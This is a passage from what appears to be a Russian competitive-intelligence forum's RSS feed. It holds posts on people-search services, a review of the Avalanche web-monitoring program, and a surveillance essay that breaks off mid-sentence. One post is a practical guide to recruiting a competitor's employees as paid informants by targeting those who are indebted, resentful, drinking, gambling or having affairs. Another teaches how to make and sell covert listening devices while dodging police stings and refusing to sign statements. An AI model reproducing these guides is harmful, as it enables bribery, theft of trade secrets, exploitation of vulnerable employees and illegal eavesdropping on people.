При поиске в проекте "Кто там" есть два основных раздела - "Информация" и "Связи." В режиме "Связи" система сначала находит информацию о каждом из людей. А потом по отдельной команде выстраивает цепочку, которая показывает, как эти связи организованы. Пока что проект работает в режиме бета-тестирования. Но в принципе, работает.

Узнать, что говорят о проекте сами его создатели, и сотрудники можно здесь.

Вот пример из раздела "Информация" по запросу 'Эдуард Россель'



А вот как система показывает связи, которые, по ее мнению, существуют между людьми,. Я намеренно выбрал в качестве второго человека фигуру известную, но в моем обывательском представлении явно не связанную с Эдуардом Росселем - Ксению Собчак.



Источник]]> Tue, 18 Dec 2007 14:09:20 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=272 О чем молчит IP адрес. http://www.a-rsb.ru/forum/index.php?showtopic=99 А как же быть дальше, как узнать истинного владельца IP адреса? Очень часто IP адрес заканчивается на провайдере.
Хотелось бы услышать мнение коллег, у кого был опыт определения абонента.
Спасибо.]]> Thu, 05 Oct 2006 20:30:24 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=99 Вербовка сотрудников конкурента. http://www.a-rsb.ru/forum/index.php?showtopic=90 При выборе более тесного контакта с будущим платным агентом следует руководствоваться двумя наборами правил. Первый касается психологических характеристик кандидата, второй – выбора момента вербовки.
Начнем с того, что у кандидата жизненные интересы и ценности должны преимущественно сводиться к деньгам. Он должен жаловаться на низкую зарплату, вечную нехватку денег, на безнадежное будущее, когда денег будет не хватать еще больше. Это обязательное условие для будущих переговоров.
Затем нужно проверить, нет ли за предполагаемым агентом каких-либо злоупотреблений. Передаче конкуренту конфиденциальной информации должны предшествовать какие-либо более мелкие нарушения. Например, использование подотчетных сумм, имущества фирмы не по назначению или для личных нужд, мелкие, незначительные хищения инвентаря и канцелярских принадлежностей. Благодатным материалом для вербовки служат работники конкурента, которые спокойно принимают подношения за свои услуги. И просто подарком будут люди, которые фальсифицируют документы, даже малозначимые - вроде отчета о командировке. Податливы на вербовку те, у кого есть постоянная любовница или тот, кто изменяет супруге при первой возможности. Легко и успешно проходит вербовка тех, кто любит выпить или играть в лотереи.
Вообще, когда рассказываешь о том, кто будет на тебя работать, пришедший к тебе предприниматель начинает кривиться и выражение его лица явственно говорит: «И с таким дерьмом придется возиться?..». В ответ он может услышать только одно: «Не хочешь пачкаться - не берись».
Люди с не самыми лучшими моральными устоями не связывают свое будущее с компанией, всегда готовы перейти на другую работу, лишь бы она была более оплачиваемой. Косвенные приметы, которые служат дополнительными признаками, были сначала вычитаны мною в зарубежной учебной литературе, а затем проверены на российском материале. Оказалось – то же самое. Хорошими кандидатами в платные агенты оказываются те, кому нравятся детективные книги и фильмы, и даже те, у кого на рабочем столе всегда беспорядок.
Второй набор - выбор правильного момента - в американских учебниках начинается с карьерных соображений: человек рассчитывал на повышение, а его обошли. На первом месте в российской практике стоит мотив «Этот дурак (коллега по работе) получает больше меня, хотя он дурак». На втором месте и у нас, и за океаном – «Пообещали, но обманули с премией, с поощрением». На третьем месте у американцев – недооценка выполненной работы, у нас – обида словом. На четвертых местах две причины меняются: то есть у нас недооценка, а у американцев – обида за неосторожное слово.
В такие моменты даже отягощенный моральными принципами сотрудник временно считает себя свободным от моральных обязательств в отношении своего работодателя. Удачный момент поможет сэкономить расходы на будущую оплату услуг агента. Впрочем, даже в этих случаях рекомендуется сразу давать аванс со словами, что сразу деньги отрабатывать не надо - как-нибудь, на следующей неделе, если вдруг понадобится что-то срочно. Агент с первых шагов должен почувствовать запах денег, достающихся без труда.
Слишком легкая вербовка должна вызывать подозрения. В сложившейся сейчас в нашей стране системе отношений вы вполне можете натолкнуться на «двойного агента». Иными словами, сразу после разговора с вами завербованный агент пойдет в службу безопасности конкурента и расскажет о вашей беседе. Так что обязательно требуется контролировать того, кто согласился с вами сотрудничать.
Для проверки обычно используют задание, результат которого заранее известен, просят собрать информацию, которая у вас уже есть. И этот прием рекомендуется повторять время от времени для проверки достоверности поступающей информации. Но и при положительном результате нельзя быть полностью уверенным в ее надежности. Необходимо наладить внутри фирмы работу по перепроверке получаемых данных с помощью информации из других источников.
В последнее время по зарубежным источникам кража конфиденциальной информации вышла на первое место среди должностных преступлений. Очевидно, что такая деятельность приносит доход, причем больший, чем подделка документов и хищения.
В России начала XXI века на агентурную работу в конкурентной разведке наложена тень прошлого советского менталитета. Печатью эксплуататора в глазах многих отмечен каждый российский бизнесмен. Если он не бывший бандюга или мошенник, значит, он заработал деньги на бессовестной эксплуатации своих работников. Если в Европе или США побудительным мотивом согласия служить конкуренту является обида на собственную компанию - и только, то в постсоветской России – это классовая обида на всех предпринимателей.
Еще древние римляне говорили, что рабская натура приказывает человеку укусить руку, дающую ему хлеб. Вариации этого проявляются и в наше время]]> Wed, 19 Jul 2006 18:35:18 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=90 Конкурентная разведка и промышленный шпионаж http://www.a-rsb.ru/forum/index.php?showtopic=146 Методы работы конкурентной разведки так же позволяют получать конфиденциальную информацию.
Не сможет ли грамотный юрист доказать, что мы занимаемся пром.шпионажем?]]> Sat, 21 Apr 2007 09:20:19 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=146 Жучки. Шпионские штучки. http://www.a-rsb.ru/forum/index.php?showtopic=259 В УК РФ, например, есть ст. 138 "Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений". К последним относятся сообщения, передаваемые между ЭВМ: в сети "Интернет" - это электронная почта и IP-телефония; в сети сотовой радиосвязи - SMS-сообщения; в сети персонального радиовызова абонента (пейджинга) - пейджинговые сообщения.
В соответствии с ч. 2 этой статьи предусмотрена уголовная ответственность за использование специальных технических средств (СТС), предназначенных (приспособленных, разработанных, запрограммированных) для негласного получения информации.
В соответствии с ч. 3 ст. 138 УК РФ преступными считаются "незаконные производство, сбыт или приобретение в целях сбыта" таких СТС.

Давайте обсудим где можно нарушить закон, а где нет.

1. Изготовление СТС
По закону СТС становится таковым только при условии вашего осознания того, что вы изготовили именно СТС, а не какой-нибудь генератор с микрофоном или просто радиомикрофон. Никогда и ни при каких обстоятельствах вы не должны называть СТС таковым и характеризовать ваше устройство характеристиками соответствующим характеристикам СТС. В законе нет как таковых характеристик СТС. Но на суде определяющими характеристиками являются миниатюрность и возможность скрытного использования. Определяющим фактором здесь является именно скрытность использования, а не миниатюрность. Поэтому любое комуфлирование СТС под что угодно с целью обеспечения скрытности – является уже незаконными.

Выводы из вышесказанного:
- Вы не должны осознавать, что изготовляете СТС, которое может быть использовано для скрытного получения информации.
- Вы не должны комуфлировать, встраивать с целью обеспечения скрытности дальнейшего использования.
Рекомендации к вышесказанному:
- Делайте по возможности устройства представляющие из себя вещи которые никак сложно классифицировать по форме и назначению.
- Никогда не называйте радиомикрофоны жучками или закладками, а называйте их или никак и ли «радиомикрофонами»
- если собираетесь в будущем продать закомуфлированное устройство, то напишите на нем крупно - «радиомикрофон». Короче так, что бы было понятно, что это за вещь.


2. Хранение СТС
Хранение СТС абсолютно законно. Можете всем говорить, что у вас дома полно жучков и вам за это ничего не будет. Можете носить их в кармане или хранить на полочке.

3. Продажа, дарение, дача в аренду, и тому подобное.
Как только вы передали СТС из своих рук в чужие – вы совершаете преступление,
связанное со сбытом СТС, даже если вы его и не изготавливали. При этом вы должны осознавать что вы передаете другому лицу именно СТС, а не что-то еще. Другими словами если вы продаете именно радиомикрофон чтобы петь, и уверенны в том, что его нельзя использовать для прослушки – то будьте уверенны, вы никакого закона не нарушаете.

Выводы из вышесказанного:
- Вы не должны осознавать, что передаете другому лицу СТС.
- !ВАЖНО! Вы не должны осознавать, что данное устройство может быть использовано как СТС.
- На вопрос можно ли это устройство использовать как СТС вы должны ответить, что именно данное устройство нельзя использовать как СТС. Именно это устройство является радиомикрофоном, что бы в него петь и все точка.

Рекомендации к вышесказанному:
- Как правило при раскрутке сотрудники отдела Р или др. (вами могут заниматься и ФСБшники) используют видеосъемку и звукозапись. Она обязательна для доказательства вашей вины. Происходит это примерно так.:
Вам звонят (ваш разговор пишут) или связываются другим способом (обычно звонят) и представляются Всей Пупкиным, знакомым вашего хорошего товарища Пети (это почти классика из ихних учебников).
И Вася говорят, что Петя сказал, мол вы можете помочь изготовить/приобрести у вас подслушивающее устройство. Как правило деньги в данном случае не имеют значения.
ПОШЛИТЕ ЕГО СРАЗУ В 3.14ЗДУ И ПОЛОЖИТЕ ТРУБКУ. Беднее не станете, а времени сэкономите тучу.

Но продолжу и расскажу байку до конца… Допустим вы повелись на слезные истории, что мужику изменяет жена. (а сейчас часто используют молоденьких симпатичных девушек – будьте внимательны и думайте верхней головой. Только неделю назад моего товарища так раскрутили.) И пообещали изготовить ему прослушку.
Первый признак того, что вас пытаются раскрутить – это то, что не вы выбираете место встречи. ЭТО НЕДОПУСТИМАЯ ОШИБКА!
Допустим вы повелись и на этом и поехали в назначенное место. Назначенное место встречи оказалось (еще и безлюдным и тихим?) помещением????!!! ЭТО ВТОРАЯ НЕДОПУСТИМАЯ ОШИБКА. Даже если встречаетесь на территории клиента, предложите ему по прибытии на место выйти и проследовать не далеко и сделать все дела там.

Поэтому все такие встречи должны происходить в местах битком набитыми людьми. Где они ходют как муравьи. Вы должны выбрать место встречи, встретиться затем (ОБЯЗАТЕЛЬНО) отойти от этого места встречи в людное место.
Продолжаем. Вас просят продемонстрировать ваше устройство. Это вполне нормально. НО ЛУЧШЕ ОТКАЖИТЕСЬ! Скажите, что если будут проблемы, то у вас ведь общие знакомые и вы их быстро в случае чего решите. Это лишний раз вам может помочь. Не консультируйте относительно использования СТС по телефону. Можно разве что рассказывать: поднесите ко рту и говорите.

Если на первой встречи вы будете осторожны, то будет и вторая. Где все будет осуществляться по той же схеме. БУДЬТЕ НАСТОЙЧИВЫ И РЕШИТЕЛЬНЫ. И действуйте так, как и в первый раз. Помните, что если клиент задает на второй встрече такие тупые вопросы как и на первой – то вас поимеют обязательно, это вопрос времени. Пошлите всех. Забейтесь в норку на время.

Далее…
Итак вы передаете другому лицу СТС и получаете денюжку. Этот момент очень важен для них. Ибо если вы не получаете денюжку или получили ее заранее, то вашу вину доказать сложнее. Например, вы могли обсудить все вопросы на стрелке в людном месте, получить 100% предоплату, а сейчас просто отдать все (такой вариант вам выгоден). При этом Вас снимают на видео. Как только вы получаете денюжку, вас хватают (могут и наручники для острастки одеть).
Далее вас обыскивают с понятыми и изымают денюжку, переписывая номера. Потом вас везут (тут вариантов может быть много куда). Скорее всего, вам предложат подписать бумажку с признанием своей вины и пр…. - ПОШЛИТЕ ИХ В 3.14зду с такими предложениями. Тогда вам предложат написать объяснительную - шлите их туда же, откуда мы все вылезли.
Запомните: ВЫ НИЧЕГО ТАМ ПИСАТЬ НЕ ОБЯЗАНЫ. НИГДЕ НИ В КОЕМ СЛУЧАЕ НИ РАСПИСЫАЙТЕСЬ ДАЖЕ В ПРОТОКОЛАХ ИЗЪЯТИЯ!
Можете расписаться только в подписке о невыезде.
После такой наглости у следователя, скорее всего отвиснет челюсть и он может разозлиться и отправить вас в каталажку на два дня. Если он действительно хочет вас задержать на три дня, то скорее всего у них на вас мало или совсем мало. А вас попросту запугивают. Лично я советую в этом случае в изолятор. Вам расскажут, какие там сидят отморозки и как вам такому беленькому, молодому и пушистому там будет плохо. Ответьте, что это будет на вашей совести, если вам будет плохо. На самом деле никого и ничего не бойтесь, скорее всего вас никуда не посадят – это блеф.
А в изоляторе сидят не такие уж и отморозки, просто кому-то также как и вам не повезло (хотя как повезет).
Через пару дней должны будут рассмотреть меру вашего пресечения. Если вы действительно белый и пушистый, без уголовного прошлого, то вас отпустят на все четыре. Для того, чтобы предъявить вам обвинение нужна экспертиза того что вы продали. Дело это долгое и занимает кучу времени – можно расслабиться и отдыхать.
И думать что делать дальше.

Продолжение будет…..]]> Sat, 03 Nov 2007 10:54:55 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=259 Задачка для маркетолога http://www.a-rsb.ru/forum/index.php?showtopic=23 Как компании Б получить дилеров компании А?
Промышленный шпионаж (взломы баз данных, инсайдеры) неинтересны.
Рекламные методы (давайте приходите к нам, у них плохо) тоже малоэффективны.]]> Thu, 30 Mar 2006 11:26:23 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=23 Аваланч (Avalanche) - программа для мониторинга http://www.a-rsb.ru/forum/index.php?showtopic=257 Сейчас можно констатировать, что Аваланч (Avalanche) версии 2.0 показал себя с самой лучшей стороны. Я снабдил отчет пошаговыми скриншотами, показывающими, что делал Аваланч и как выглядят результаты его работы. Поскольку из-за скриншотов страница с отчетом "весит" около 2.5 МБ, я не стану ее всю выкладывать здесь, а дам только два скриншота и текст. Полностью весь материал вы можете увидеть на моем сайте Конкурентная разведка на странице со статьей Полевые испытания программы Аваланч (Avavlanche). Здесь те места в тексте, где на моем сайте размещены скриншоты, выделены так: <Скриншот>.


Полевые испытания программы Аваланч (Avalanche)
Испытывалась программа Аваланч (Avalanche) версии 2.0 образца 2007 года

Программа Аваланч (Avalanche) предназначена для мониторинга изменений, происходящих в Интернете. Она собирает информацию с вэб-страниц по заданному алгоритму и складывает эту информацию в собственную базу данных. В любой момент пользователь может провести поиск по этой базе, используя опеаторы Булевой Алгебры, подобные тем, которые используются в Яндексе при формировании поискового запроса в Интернет.

Аваланч существует в двух модификациях по алгоритму работы и в нескольких модификациях по своим возможностям.

Различия по алгоритму работы заключаются в том, что одна из них собирает с заданных адресов все подряд, а вторая - только страницы, на которых произошли изменения с прошлого посещения ее Аваланчем. Я проводил испытания той версии, которая собирает только страницы с изменившимся контентом.

Различия по функциональным возможностям разных модификаций Аваланча более существенны. Я провел работу с самой простой модификациях Аваланча, которая умеет только собирать, сортировать и складировать информацию, а также предоставляет возможность поиска по базе данных. Более сложные (и дорогие) модификации Аваланча позволяют проводить обучение программы с тем, чтобы она анализировала контекст и размещала в соответствующие папки материалы, даже если в тех отсутствуют ключевые слова. Некоторые модификации Аваланча позволяют создавать в Интренете сайт в единственном экземпляре, который содержит все новости по заданным пользователем проблемам. В таком виде новости очень удобны для работы с ними. Есть и такие варианты Аваланча, которые обеспечивают практически полную анонимность работы.

Аваланч состоит из паука и "умных папок". Паук посещает страницы, которые ему предписано посещать, проверяет изменения на них и складывает информацию в базу данных. "Умные папки" самостоятельно сортируют эту принесенную пауком информацию, делая ее удобной для работы. Есть еще такое понятие, как рубрики. Рубрики позволяют работать с базой данных по конкретным запросам, интересующим пользователя в данный момент.

В целом, работа с Аваланчем выглядит следующим образом. Сначала прописываются источники, контент которых будет контролироваться. Это могут быть не только отдельные страницы сайтов, но и страницы поисковых машин, которые появляются по определенному поисковому запросу. Указывается глубина переходов со стораницы по ссылкам. Так, например, с первой страницы Гугла или Яндекса во время испытаний паук переходил по каждой ссылке, расположенной на первой странице поисковика с результатами выдачи. А на той странице, куда он по такой ссылке перешел, он уже не ходил по ссылкам дальше. Это настраиваемая опция.

Я не буду здесь рассказывать, как происходит настройка паука и папок, потому что эти знания в течение одного дня даются на занятиях или подчерпываются из инструкции. Могу сказать лишь, что это не сложно. Я буду показывать работу уже настроенного Аваланча.

Итак, приступим.

Аваланч устанавливается обычно в корневую папку диска C. На рисунке ниже показана папка с установленным Аваланчем. Видны файлы avalanche_spider.exe (это паук), Avalanche.exe (этот файл открывает интерфейс для работы с базой данных), avc12.exe (программа стороннего производителя, которая позволяет сравнивать два файла и находить изменения на вэб-странице, если они неочевидны)



Сначала запускается паук (файл avalanche_spider.exe). Скриншот экрана после запуска паука приведен ниже. Для мониторинга я выбрал главную страницу новостного ресурса Lenta.ru, главную страницу сайта rbc.ru, раздел "тест-драйвы" на сайте autonews.ru, RSS-поток Форума Разведчиков, раздел "вакансии" на сайте одного из крупнейших в России автодилеров - компании "Рольф" и первые страницы результатов выдачи по запросу "Кузнецов Сергей Валентинович" в Яндексе и Гугле.



После запуска паук начинает обход страниц, на которые он нацелен и ссылок с этих страниц на заданную глубину. В процессе работы видно, на каких ресурсах в данный момент паук находится и какой процент от общего количества работы выполнен. Во время работы паука процессор бюджетного ноутбука был загружен на 60-75% и было возможно, хоть и с подтормаживанием, пользоваться электронной почтой и совершать серфинг по интернет-страницам.

<Скриншот>

Закончив работу ,паук сообщает об этом.

<Скриншот>

После этого окно с пауком надо закрыть, а окно самого Аваланча наоборот открыть (запустив файл Avalanche.exe). В главном окне Аваланча видны "Умные папки", по которым уже разложена принесенная пауков информация.

<Скриншот>

Если открыть "умные папки", то видно, что информация в них структурирована по дате.

<Скриншот>

В правой части окна видны страницы, которые Аваланч счел соответствующими критерисям поиска. Можно каждую из них открыть и просмотреть ее контент полностью

<Скриншот>

В левой колонке видно, что если изменений на странице нет, то Аваланч игнорирует такую страницу, принося в базу данных только изменения. Например, видно, что 08.10.07г. на странице "вакансии" компании "Рольф" изменений не было. Эти изменения были 13.09.07 и 19.09.07

<Скриншот>

Эти вакансии можно увидеть, также открыв каждый из источников на конкретную дату.

Вот вакансии компании "Рольф" на 13.09.07 (это первое посещение страницы, поэтому сравнивать было не с чем)

<Скриншот>

А вот та же страница от 19.09.07г., когда Аваланч обнаружил на ней изменения.

<Скриншот>

Как я уже говорил, Аваланч может просматривать не только конкретные страницы сайтов, но и страницы, которые формируются по запросу к поисковым машинам. Вот, например, страница Google по запросу Кузнецов Сергей Валентинович

<Скриншот>

На следующем скриншоте показана страница, которую Аваланч посетил по ссылке с первого результата в выдаче Гугла по запросу: foto.retranslator.ru

<Скриншот>

Проиллюстрирую настройку рубрики. Это способ получить выборку из имеющейся базы данных. Ниже приведен пример уже настроенной рубрики. По такому запросу можно получить все документы из базу данных, в который есть слова "автомобиль" и "Peugeot", и при этом не содержится слово "новый". Видно, что таких документов в базе нет

<Скриншот>

Продемонстрирую настройку новой рубрики. Пусть нас интересует запрос, по которому будут получены документы, где есть слова "Кузнецов" и "Burwell", но при этом нет слова "автор" (для тех, кто не в курсе, напомню, что господин Кузнецов - химик-технолог по образованию, известный в конкурентной разведке тем, что стер имя Helen Burwell с обложки ее книги "Конкурентная разведка через Интернет" и вписал на эту обложку себя). Выбор этого объекта для иллюстрации возможностей Аваланча был связан с тем, что информация об этом объекте не является конфиденциальной, а проверять работу программы можно только на реальных примерах, информация по которым поступает и из других источников. Иначе невозможно оценить полноту и точность работы программного продукта.

<Скриншот>

После создания новой рубрики производится рубрикация, чтобы получить из базы данных данные, рассортированные в соответствии с новыми потребностями пользователя.

<Скриншот>

По завершении рубрикации появляется соответствующая надпись.

<Скриншот>

Теперь, если обратиться к вновь созданной рубрике, станут доступны документы, отвечающие заданным требованиям. Они могут быть, как и раньше, открыты прямо в окне Аваланча.

<Скриншот>

Надо отметить, что чаще всего не возникает сложностей в сравнении старог0о и нового вариантов контента вэб-страницы, поскольку обычно их хорошо видно. Однако на практике встречаются и такие случаи, когда изменения неочевидны. Ярким примером может служить страница блога на Живом Журнале, когда на ней появляется одна новая гиперссылка, а при этом больше никаких изменений не происходит. Крайне трудно искатьтакие различия. В то же время, появление подобной гиперссылки может быть очень важным. При испытаниях Аваланча я работал в постоянном контакте с разработчиками этой программы. Хочу отметить, что они быстро и качественно исправляли те небольшие шероховатости, которые нам поначалу встречались. Я уже собирался писать отчет об испытаниях, когда столкнулся с проблемой, что по ссылке из Гугла Аваланч принес страницу блога, как изменившуюся, а я долго не мог увидеть этих изменений. Тогда разработчики Аваланча дали ссылку на программу стороннего разработчика Advanced Visual Compare (она запускается с файла avc12.exe). Программа сравнивает исходные коды вэб-страниц и показывает измененные, добавленные или удаленные элементы на странице.

<Скриншот>

Здесь следует сказать, что файлы хранятся в папке, в которой установлен Аваланч, в виде стандартных пар HTML-файла и txt-файла.

В ходе работы с Аваланчем обнаружился положительный побочный эффект такой формы хранения данных: они хорошо индексируются программой для поиска на персональном компьютере Яндекс Десктоп. За счет этого, помимо поиска с помощью встроенного поискового механизма Аваланча, можно искать информацию и с помощью Яндекс Десктоп, используя стандартный язык запросов Яндекса.

<Скриншот>

В программе Advanced Visual Compare в ыбираются два файла , которые будут сравниваться

<Скриншот>

А затем в исходном коде показано разными цветами, какие изменения произошли и где они находятся

<Скриншот>

Если есть сложности в прочтении исходного кода и привязке его к обычному виду страницы, то для решения этой проблемы можно воспользоваться любой программой, умеющей конвертировать исходный код страницы в ее обычный вид и наоборот. Я покажу это на примере Macromedia Dreamweaver. Скопируем весь исходный код, полученный в программе AVC,, не разбираясь, где есть изменения, а где нет, в Dreamweaver. Затем скопируем только измененную часть и с помощью CTRL+F найдем его в Dreamweaver'е.

<Скриншот>

После чего выберем режим "Design" и сможем увидеть, где этот выделенный в коде участок расположен на странице сайта, которую видит пользователь в своем браузере..

<Скриншот>

Заканчивая отчет о полевых испытаниях Аваланча, я хочу сказать, что считаю эту программу очень перспективной разработкой, рассчитанной на тех специалистов, которым необходимо автоматизировать мониторинг Интернета. На мой взгляд, Аваланч - следующий шаг для тех специалистов, которым требуется проводить объем работы, когда WebSite Watcher уже не удовлетворяет их потребностей. Аваланч значительно более автоматизирован, чем WebSite Watcher, а самое главное, он имеет собственную базу данных и простой в использовании механизм работы с ней.

Модификация программы, которая попала мне на испытания, является новой. В ней на моих глазах (и с удовольствием могу отметить, что во многом с моей подачи) были устранены многие недочеты, мешавшие использовать эту программу в работе - вроде зависания на отдельных типах сайтов, некорректное отображение некоторых кодировок или отсутствие возможности оперативно найти изменения на странице. Сейчас Аваланч избавился от этих проблем. У меня он работал стабильно, результаты приносил корректные. А опыт общения с разработчиком вселяет уверенность, что даже если выявятся какие-то особо редкие проблемы, они будут оперативно решены. Все вопросы непосредственно по программе, на мой взгляд, лучше адресовать разработчикам по адресу am [собака] inforus [точка] biz

Евгений Ющук,

08.10.2007 г.]]> Wed, 10 Oct 2007 21:54:48 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=257 Мы за вами наблюдаем.А вы не знали? http://www.a-rsb.ru/forum/index.php?showtopic=207

Если вы считаете, что многомиллионная компьютерная сеть – самое анонимное место на Земле, вы либо наивный идиот либо вселенский метахакер. Возможно, ваша жена давно работает на ФСБ, а в нос любимого пёсика встроен высокочувствительный микрофон. Возможно, ваш компьютер пионер-важатый бот сети, вывернутый конфиденциальными внутренностями наизнанку. Возможно, вашей жизни ничего не угрожает, ведь и так каждый ваш шаг происходит под пристальным взглядом Сами-Знаете-Кого. Бороться с собственной глупостью бессмысленно.

Слежка за пользователями популярных сайтов
Стремление нажиться за счёт информации толкает некоторые компании к настоящему безумию. Например, Microsoft подала в патентное бюро заявку на технологию направленного рекламного воздействия, позволяющую демонстрировать телезрителю ту рекламу, которая его интересует. Суть технологии заключается в видеокамере в телевизоре и сверхсекретном софте, который обрабатывает полученную видеоинформацию. То есть реклама, на которой телезритель уходит или переключает канал, показываться не будет.

Но это в перспективе. А уже сейчас есть средства гораздо более надежные, чем доживающее последние годы телевидение, мифический софт на основе искусственного интеллекта и зомби-телезрители. Достаточно чуть пристальнее посмотреть в куки и на IP адрес пользователя, чтобы понять его сетевые предпочтения. Конечно, такие операции официально незаконны… Но если мы не будем никому о них говорить, значит нас никто и не поругает, так?

Такие гиганты IT общества как Amazon или Google не однократно обвинялись в шпионаже с коммерческими целями за посетителями. По IP пользователя можно увидеть какие сайты он посещает, каким рекламным материалам отдаёт предпочтение. Выгода на лицо. Амазон устанавливал слежку, поглядывая какие книги и другие товары предпочитает покупатель. Ага, любит фантастику, так почему бы не долбануть по его электронной почте спамом, рекламирующим фантастические книги. Софта, который бы определял, пасёт вас тот или иной сайт, не существует (за исключением антишпионских программ, которые срабатывают далеко не всегда). Выявить подобную слежку пока можно лишь косвенными методами. Так что вырубайте всем спам фильтры и внимательно рассматривайте приходящий спам smile.gif Возможно, так много предложений по увеличению пениса из-за того, что вы часто посещаете порносайты? =)

Медовые ловушки
Известная в сфере безопасности тема, так что подробно на ней останавливаться не будем. Мы и так знаем, что в инете существуют сайты, специально регистрирующие хакерские атаки и отслеживающие пути их прохождения. Давно известно, что медовая ловушка в России Номер 1 это сайт ФСБ. В Штатах – Пентагон гов. Да и вообще, если сайт относится к военным или высшему звену руководства страны, гарантия того, что он следит за посетителями практически сто процентная.

Да и компьютеры, не обеспеченные вообще никакими средствами защиты, не так просты на первый взгляд. Многие из них принадлежат различным лабораториям безопасности, которые так и ждут очередного глуповатого хакера. Среди военных сетей США существует одна, полностью построенная для ловли хакеров – не просто медовая ловушка, а целая пасека. Вроде бы она ничем не отличается от всех остальных сетей, за исключением неких мелких уязвимостей, которые опытный злоумышленник всегда заметит. Информация в этой сети содержит дезинформацию вперемешку с относительно секретными документами, но самое главное – она заражена вирусами и троянами. Разработанными подразделениям DOD и DARPA, так что никакой антивирус их не обнаружит.

Программы, которые следят за тобой
Первым массово расплодившимся шпионским софтом официально считается игра Elf Bowling, отсылавшая в 1999 году своему разработчику Nsoft пользовательские данные. В 2000 году появилось рекламное ПО фирм Aureate и Conducent, которое перехватывало личную информацию. Спустя всего 4 года были опубликованы шокирующие результаты исследования AOL: 89% респондентов, на чьих компьютерах поселился spyware-софт, сообщили, что не знали о его присутствии, а 93% не санкционировали его инсталляцию. Всего же в мире, по предположительным подсчётам, шпионским софтом оказались заражены до 90 % (!!) компьютеров, подключенных к Сети.

Помимо шпионских и вредоносных программ тут уж грешат почти все, начиная с нашей любимой Windows, кончая безобидным Google Desktop. Споры о том, пересылает ли Windows конфиденциальную информацию в Microsoft, длятся уже десять лет, и не безосновательно. Техническая информация, такие как отчеты, отсылаются только при непосредственном участии пользователя. А вот проверка на подлинность системы может начаться и без нашего участия. Впрочем, если бы Microsoft взялась за нас в полную силу, даже послушать любимую группу в плеере так, чтобы об этом не узнал дядя Гейтс, не получилось бы без соответствующего вмешательства в систему smile.gif.

Теперь по поводу Google. Прога предложила мне передавать на базу «НЕ» конфиденциальную информацию, касающуюся данных о местах моих постоянных тусовок в сети. Для моей же выгоды конечно. Я её послал и слава богу. Но ведь могут быть проги, которые связываются с Центром и без моего ведома, так ведь? Тут стоит уповать только на фаервол и анализ трафика.

Сайты, которые специально разыскивают информацию
С ними мы уже познакомились в предыдущей части статьи. Как вы поняли, такие сайты делятся на два типа: первые ищут информации в различных анкетах и профилях, то есть проверяют возможные следы присутствия достаточно активного сетчанина, у которого и мессенджер есть и аккуанты на двух десятках форумах. Вторые же касаются своими грязными щупальцами информации, расположенной в различных организациях риаллайф. Слава Богу, что ваша местная поликлиника пока ещё не додумалась выкладывать анкеты пациентов на всеобщее обозрение (врачебная тайна!), да и юридические конторы напополам с МВД не будут обнародовать конфиденциальные сведения (до тех пор, пока вы не нарушите пару федеральных законов). Однако при желании, пользуясь методикой социального инжиниринга, можно по телефону пробить информации и в ЗАГСе и в других службах города. Пока ещё такую информацию добывают лишь частные сыскные агентства, но недалек тот час, когда появится какой-нибудь poiskpipls.ru который за небольшую плату найдет вам любого зарегистрированного человека. Лазейки тут конечно существуют и их целых две, во-первых, не регистрировать ребенка с самого рождения никак (и даже дарственную не напишешь). Прощай школа, ВУЗ и хорошая работа (хотя работа бывает высокооплачиваемой и без всякой регистрации). Второй вариант – шпионский. Создать себе полностью другую личность, со всеми необходимыми документами. Подделка паспорта дело сложное, но вполне осуществимое. Хотя много легче подделать водительское удостоверение и регистрацию – гуляй спокойно по Москве smile.gif. В общем-то, подделка документов незаконна и карается по всей строгости УК. Мы всей редакцией осуждаем нарушение Кодекса.

Реклама, которая следит за пользователем
Это кажется безумием и это так! Допустим, у нас есть два ресурса в категории новости: teennews.com со 100 000 уникальных посетителей в неделю и birjanews.com с 20 000 посетителями в неделю. На первый взгляд рекламодатели должны смотреть голодными глазами в сторону первого ресурса, ведь у него посещаемость в 5 раз больше. Однако аудитория проекта люди от 14 до 25 лет, то есть финансово не очень состоятельные. В то время как второй проект привлекает менеджеров среднего звена, бизнесменов и прочих людей от 25 до 40 лет, готовых кликать по нужной рекламе и платить за товары и услуги. Что должен делать первый ресурс? Правильно, смотреть какая реклама приносит больше прибыли рекламодателям (!), а не больше кликов. Клики это вообще глупость какая-то, не знаю, кто её придумал. И вот тут в дело вступает хитрые механизмы: если по контекстной ссылки «Ксеня Собчак родила робота!» шагнет три тысячи человек, которые выйдут на ещё с десяток ссылок, то ссылка «Ксения Собчак спит с роботом! Шокирующее видео! Всего за1 $» принесет нам меньше хостов, но больше прибыли. В идеале реклама должна следить за всеми переходами пользователя с ссылки на ссылку и оценивать его кредитоспособность (!), то есть совершил он заказ или нет. Думаю, лет через 5-7 несостоятельных клиентов будут банить по IP, а более независимых финансово заваливать миллиардами ссылок. Пока такую практику проводят лишь единицы среди законспирированных таиландских порносерверов.

Боевые Автоматизированные Системы Шпионажа
11 сентября 2001 г. сильно продвинуло американское военное ведомство в деле совершенствования информационных технологий. DARPA с 2001 года реализует федеральную программу всеобщей информационной осведомленности, которая дает спецслужбам легальный и свободный доступ к частным данным. В мае 2003 г. программа была переименована в Terrorism Information Awareness Program, но в сентябре 2003 г. Конгресс США прекратил финансирование программы. Тем не менее, DARPA сохранила возможность далее разрабатывать технические средства и ПО для перехвата данных, если последние не используются на территории США – то есть для усовершенствования таких систем как «Эшелон». Сейчас DARPA разрабатывает такие программы перехвата данных, как Translingual Information Detection, Extraction and Summarization (TIDES), Translation Systems for Tactical Use (TRANSTAC). Их задача – облегчить перевод текстового и речевого потока с иностранных языков в реальном времени. Внутри США существуют и иные программы – такие, как Matrix (Multistate Anti-Terrorism Information Exchange — Межштатовый обмен антитеррористической информацией). Ее технические средства позволяют предельно интегрировать все базы данных, что дает возможность властям, как говорят журналисты, «моментально обнаружить имя и адрес любого брюнета — обладателя красного Форда- пикапа в радиусе 20 миль от какого-либо подозрительного события». Другая похожая программа – Novel Intelligence from Massive Data – включает в себя разработки более десятка институтов и компаний, направленные на создание средств для сбора и многоуровнего анализа разрозненных и внешне не связанных данных по предотвращению террористических угроз. Система ежедневно собирает сотни тысяч новых 